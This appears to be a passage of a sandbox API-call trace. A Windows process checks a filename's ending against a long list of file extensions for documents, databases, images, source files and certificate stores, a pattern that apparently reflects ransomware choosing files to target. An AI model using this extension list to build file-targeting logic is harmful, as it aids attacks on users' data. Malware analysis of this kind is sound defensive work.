	[0167.214] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0167.214] lstrlenW (lpString=".accdw") returned 6
	[0167.214] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0167.214] lstrlenW (lpString=".adb") returned 4
	[0167.214] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.214] lstrlenW (lpString=".adp") returned 4
	[0167.214] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.214] lstrlenW (lpString=".ai") returned 3
	[0167.214] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.214] lstrlenW (lpString=".ai3") returned 4
	[0167.214] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.214] lstrlenW (lpString=".ai4") returned 4
	[0167.214] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.214] lstrlenW (lpString=".ai5") returned 4
	[0167.214] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.214] lstrlenW (lpString=".ai6") returned 4
	[0167.214] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.214] lstrlenW (lpString=".ai7") returned 4
	[0167.214] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.214] lstrlenW (lpString=".ai8") returned 4
	[0167.214] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.214] lstrlenW (lpString=".anim") returned 5
	[0167.214] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0167.214] lstrlenW (lpString=".arw") returned 4
	[0167.214] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.215] lstrlenW (lpString=".as") returned 3
	[0167.215] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.215] lstrlenW (lpString=".asa") returned 4
	[0167.215] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.215] lstrlenW (lpString=".asc") returned 4
	[0167.215] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.215] lstrlenW (lpString=".ascx") returned 5
	[0167.215] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0167.215] lstrlenW (lpString=".asm") returned 4
	[0167.215] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.215] lstrlenW (lpString=".asmx") returned 5
	[0167.215] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0167.215] lstrlenW (lpString=".asp") returned 4
	[0167.215] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.215] lstrlenW (lpString=".aspx") returned 5
	[0167.215] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0167.215] lstrlenW (lpString=".asr") returned 4
	[0167.215] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.215] lstrlenW (lpString=".asx") returned 4
	[0167.215] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.215] lstrlenW (lpString=".avi") returned 4
	[0167.215] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.215] lstrlenW (lpString=".avs") returned 4
	[0167.216] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.216] lstrlenW (lpString=".backup") returned 7
	[0167.216] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0167.216] lstrlenW (lpString=".bak") returned 4
	[0167.216] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.216] lstrlenW (lpString=".bay") returned 4
	[0167.216] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.216] lstrlenW (lpString=".bd") returned 3
	[0167.216] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.216] lstrlenW (lpString=".bin") returned 4
	[0167.216] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.216] lstrlenW (lpString=".bmp") returned 4
	[0167.216] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.216] lstrlenW (lpString=".bz2") returned 4
	[0167.216] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.216] lstrlenW (lpString=".c") returned 2
	[0167.216] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.216] lstrlenW (lpString=".cdr") returned 4
	[0167.216] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.216] lstrlenW (lpString=".cer") returned 4
	[0167.216] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.216] lstrlenW (lpString=".cf") returned 3
	[0167.216] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.216] lstrlenW (lpString=".cfc") returned 4
	[0167.216] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.216] lstrlenW (lpString=".cfm") returned 4
	[0167.216] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.216] lstrlenW (lpString=".cfml") returned 5
	[0167.216] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0167.216] lstrlenW (lpString=".cfu") returned 4
	[0167.216] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.216] lstrlenW (lpString=".chm") returned 4
	[0167.217] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".cin") returned 4
	[0167.217] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".class") returned 6
	[0167.217] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0167.217] lstrlenW (lpString=".clx") returned 4
	[0167.217] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".config") returned 7
	[0167.217] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0167.217] lstrlenW (lpString=".cpp") returned 4
	[0167.217] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".cr2") returned 4
	[0167.217] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".crt") returned 4
	[0167.217] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".crw") returned 4
	[0167.217] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".cs") returned 3
	[0167.217] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.217] lstrlenW (lpString=".css") returned 4
	[0167.217] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".csv") returned 4
	[0167.217] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".cub") returned 4
	[0167.217] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".dae") returned 4
	[0167.217] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".dat") returned 4
	[0167.217] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.217] lstrlenW (lpString=".db") returned 3
	[0167.217] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.217] lstrlenW (lpString=".dbf") returned 4
	[0167.218] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".dbx") returned 4
	[0167.218] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".dc3") returned 4
	[0167.218] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".dcm") returned 4
	[0167.218] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".dcr") returned 4
	[0167.218] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".der") returned 4
	[0167.218] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".dib") returned 4
	[0167.218] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".dic") returned 4
	[0167.218] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".dif") returned 4
	[0167.218] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".divx") returned 5
	[0167.218] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0167.218] lstrlenW (lpString=".djvu") returned 5
	[0167.218] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0167.218] lstrlenW (lpString=".dng") returned 4
	[0167.218] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".doc") returned 4
	[0167.218] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".docm") returned 5
	[0167.218] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0167.218] lstrlenW (lpString=".docx") returned 5
	[0167.218] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.218] lstrlenW (lpString=".dot") returned 4
	[0167.218] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.218] lstrlenW (lpString=".dotm") returned 5
	[0167.219] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0167.219] lstrlenW (lpString=".dotx") returned 5
	[0167.219] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0167.219] lstrlenW (lpString=".dpx") returned 4
	[0167.219] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.219] lstrlenW (lpString=".dqy") returned 4
	[0167.219] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.219] lstrlenW (lpString=".dsn") returned 4
	[0167.219] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.219] lstrlenW (lpString=".dt") returned 3
	[0167.219] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.219] lstrlenW (lpString=".dtd") returned 4
	[0167.219] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.219] lstrlenW (lpString=".dwg") returned 4
	[0167.219] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.219] lstrlenW (lpString=".dwt") returned 4
	[0167.219] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.219] lstrlenW (lpString=".dx") returned 3
	[0167.219] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.219] lstrlenW (lpString=".dxf") returned 4
	[0167.219] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.219] lstrlenW (lpString=".edml") returned 5
	[0167.219] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0167.219] lstrlenW (lpString=".efd") returned 4
	[0167.219] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.219] lstrlenW (lpString=".elf") returned 4
	[0167.219] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.219] lstrlenW (lpString=".emf") returned 4
	[0167.219] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.219] lstrlenW (lpString=".emz") returned 4
	[0167.219] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.219] lstrlenW (lpString=".epf") returned 4
	[0167.220] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".eps") returned 4
	[0167.220] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".epsf") returned 5
	[0167.220] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0167.220] lstrlenW (lpString=".epsp") returned 5
	[0167.220] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0167.220] lstrlenW (lpString=".erf") returned 4
	[0167.220] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".exr") returned 4
	[0167.220] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".f4v") returned 4
	[0167.220] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".fido") returned 5
	[0167.220] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0167.220] lstrlenW (lpString=".flm") returned 4
	[0167.220] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".flv") returned 4
	[0167.220] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".frm") returned 4
	[0167.220] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".fxg") returned 4
	[0167.220] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".geo") returned 4
	[0167.220] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".gif") returned 4
	[0167.220] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".grs") returned 4
	[0167.220] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.220] lstrlenW (lpString=".gz") returned 3
	[0167.220] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.221] lstrlenW (lpString=".h") returned 2
	[0167.221] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.221] lstrlenW (lpString=".hdr") returned 4
	[0167.221] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".hpp") returned 4
	[0167.221] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".hta") returned 4
	[0167.221] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".htc") returned 4
	[0167.221] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".htm") returned 4
	[0167.221] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".html") returned 5
	[0167.221] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0167.221] lstrlenW (lpString=".icb") returned 4
	[0167.221] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".ics") returned 4
	[0167.221] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".iff") returned 4
	[0167.221] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".inc") returned 4
	[0167.221] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".indd") returned 5
	[0167.221] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0167.221] lstrlenW (lpString=".ini") returned 4
	[0167.221] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".iqy") returned 4
	[0167.221] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".j2c") returned 4
	[0167.221] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.221] lstrlenW (lpString=".j2k") returned 4
	[0167.221] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".java") returned 5
	[0167.222] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0167.222] lstrlenW (lpString=".jp2") returned 4
	[0167.222] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".jpc") returned 4
	[0167.222] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".jpe") returned 4
	[0167.222] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".jpeg") returned 5
	[0167.222] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0167.222] lstrlenW (lpString=".jpf") returned 4
	[0167.222] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".jpg") returned 4
	[0167.222] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".jpx") returned 4
	[0167.222] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".js") returned 3
	[0167.222] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.222] lstrlenW (lpString=".jsf") returned 4
	[0167.222] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".json") returned 5
	[0167.222] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0167.222] lstrlenW (lpString=".jsp") returned 4
	[0167.222] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".kdc") returned 4
	[0167.222] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".kmz") returned 4
	[0167.222] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".kwm") returned 4
	[0167.222] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.222] lstrlenW (lpString=".lasso") returned 6
	[0167.222] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0167.223] lstrlenW (lpString=".lbi") returned 4
	[0167.223] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".lgf") returned 4
	[0167.223] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".lgp") returned 4
	[0167.223] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".log") returned 4
	[0167.223] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".m1v") returned 4
	[0167.223] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".m4a") returned 4
	[0167.223] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".m4v") returned 4
	[0167.223] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".max") returned 4
	[0167.223] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".md") returned 3
	[0167.223] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.223] lstrlenW (lpString=".mda") returned 4
	[0167.223] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".mdb") returned 4
	[0167.223] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".mde") returned 4
	[0167.223] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".mdf") returned 4
	[0167.223] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".mdw") returned 4
	[0167.223] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".mef") returned 4
	[0167.223] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".mft") returned 4
	[0167.223] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.223] lstrlenW (lpString=".mfw") returned 4
	[0167.224] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".mht") returned 4
	[0167.224] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".mhtml") returned 6
	[0167.224] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0167.224] lstrlenW (lpString=".mka") returned 4
	[0167.224] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".mkidx") returned 6
	[0167.224] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0167.224] lstrlenW (lpString=".mkv") returned 4
	[0167.224] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".mos") returned 4
	[0167.224] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".mov") returned 4
	[0167.224] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".mp3") returned 4
	[0167.224] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".mp4") returned 4
	[0167.224] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".mpeg") returned 5
	[0167.224] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0167.224] lstrlenW (lpString=".mpg") returned 4
	[0167.224] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".mpv") returned 4
	[0167.224] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".mrw") returned 4
	[0167.224] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".msg") returned 4
	[0167.224] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.224] lstrlenW (lpString=".mxl") returned 4
	[0167.224] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.224] lstrlenW (lpString=".myd") returned 4
	[0167.224] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".myi") returned 4
	[0167.225] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".nef") returned 4
	[0167.225] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".nrw") returned 4
	[0167.225] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".obj") returned 4
	[0167.225] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".odb") returned 4
	[0167.225] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".odc") returned 4
	[0167.225] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".odm") returned 4
	[0167.225] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".odp") returned 4
	[0167.225] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".ods") returned 4
	[0167.225] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".oft") returned 4
	[0167.225] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".one") returned 4
	[0167.225] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".onepkg") returned 7
	[0167.225] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0167.225] lstrlenW (lpString=".onetoc2") returned 8
	[0167.225] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0167.225] lstrlenW (lpString=".opt") returned 4
	[0167.225] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".oqy") returned 4
	[0167.225] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".orf") returned 4
	[0167.225] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.225] lstrlenW (lpString=".p12") returned 4
	[0167.226] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".p7b") returned 4
	[0167.226] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".p7c") returned 4
	[0167.226] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pam") returned 4
	[0167.226] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pbm") returned 4
	[0167.226] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pct") returned 4
	[0167.226] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pcx") returned 4
	[0167.226] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pdd") returned 4
	[0167.226] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pdf") returned 4
	[0167.226] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pdp") returned 4
	[0167.226] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pef") returned 4
	[0167.226] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pem") returned 4
	[0167.226] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pff") returned 4
	[0167.226] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pfm") returned 4
	[0167.226] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pfx") returned 4
	[0167.226] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".pgm") returned 4
	[0167.226] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.226] lstrlenW (lpString=".php") returned 4
	[0167.226] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.227] lstrlenW (lpString=".php3") returned 5
	[0167.227] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0167.227] lstrlenW (lpString=".php4") returned 5
	[0167.227] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0167.227] lstrlenW (lpString=".php5") returned 5
	[0167.227] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0167.227] lstrlenW (lpString=".phtml") returned 6
	[0167.227] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0167.227] lstrlenW (lpString=".pict") returned 5
	[0167.227] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0167.227] lstrlenW (lpString=".pl") returned 3
	[0167.227] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.227] lstrlenW (lpString=".pls") returned 4
	[0167.227] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.227] lstrlenW (lpString=".pm") returned 3
	[0167.227] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.227] lstrlenW (lpString=".png") returned 4
	[0167.227] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.227] lstrlenW (lpString=".pnm") returned 4
	[0167.227] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.227] lstrlenW (lpString=".pot") returned 4
	[0167.227] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.227] lstrlenW (lpString=".potm") returned 5
	[0167.227] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0167.227] lstrlenW (lpString=".potx") returned 5
	[0167.227] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0167.227] lstrlenW (lpString=".ppa") returned 4
	[0167.227] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.227] lstrlenW (lpString=".ppam") returned 5
	[0167.227] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0167.227] lstrlenW (lpString=".ppm") returned 4
	[0167.227] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.227] lstrlenW (lpString=".pps") returned 4
	[0167.228] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.228] lstrlenW (lpString=".ppsm") returned 5
	[0167.228] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0167.228] lstrlenW (lpString=".ppt") returned 4
	[0167.228] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.228] lstrlenW (lpString=".pptm") returned 5
	[0167.228] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0167.228] lstrlenW (lpString=".pptx") returned 5
	[0167.228] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0167.228] lstrlenW (lpString=".prn") returned 4
	[0167.228] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
